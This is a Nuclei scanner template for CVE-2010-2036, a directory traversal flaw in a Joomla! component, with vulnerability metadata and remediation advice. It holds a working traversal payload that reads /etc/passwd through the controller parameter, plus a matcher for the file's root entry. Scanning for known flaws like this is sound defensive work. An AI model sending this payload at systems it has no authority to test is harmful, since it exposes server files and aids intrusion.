id: CVE-2010-2036

info:
  name: Joomla! Component Percha Fields Attach 1.0 - Directory Traversal
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Percha Fields Attach (com_perchafieldsattach) component 1.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34004
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2036
    - http://packetstormsecurity.org/1005-exploits/joomlaperchafa-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2036
    cwe-id: CWE-22
    epss-score: 0.1321
    epss-percentile: 0.9588
    cpe: cpe:2.3:a:percha:com_perchafieldsattach:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: percha
    product: com_perchafieldsattach
  tags: cve,cve2010,lfi,joomla,edb,packetstorm,percha,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_perchafieldsattach&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d722ccecd1fab455313e660272e2a94ba7374945af8d1e1253caf5a2b78c9bf102206820f171c29a140f7ed151969c205936e100d5d24ca17967a2ee97f63841ad09:922c64590222798bb761d5b6d8e72950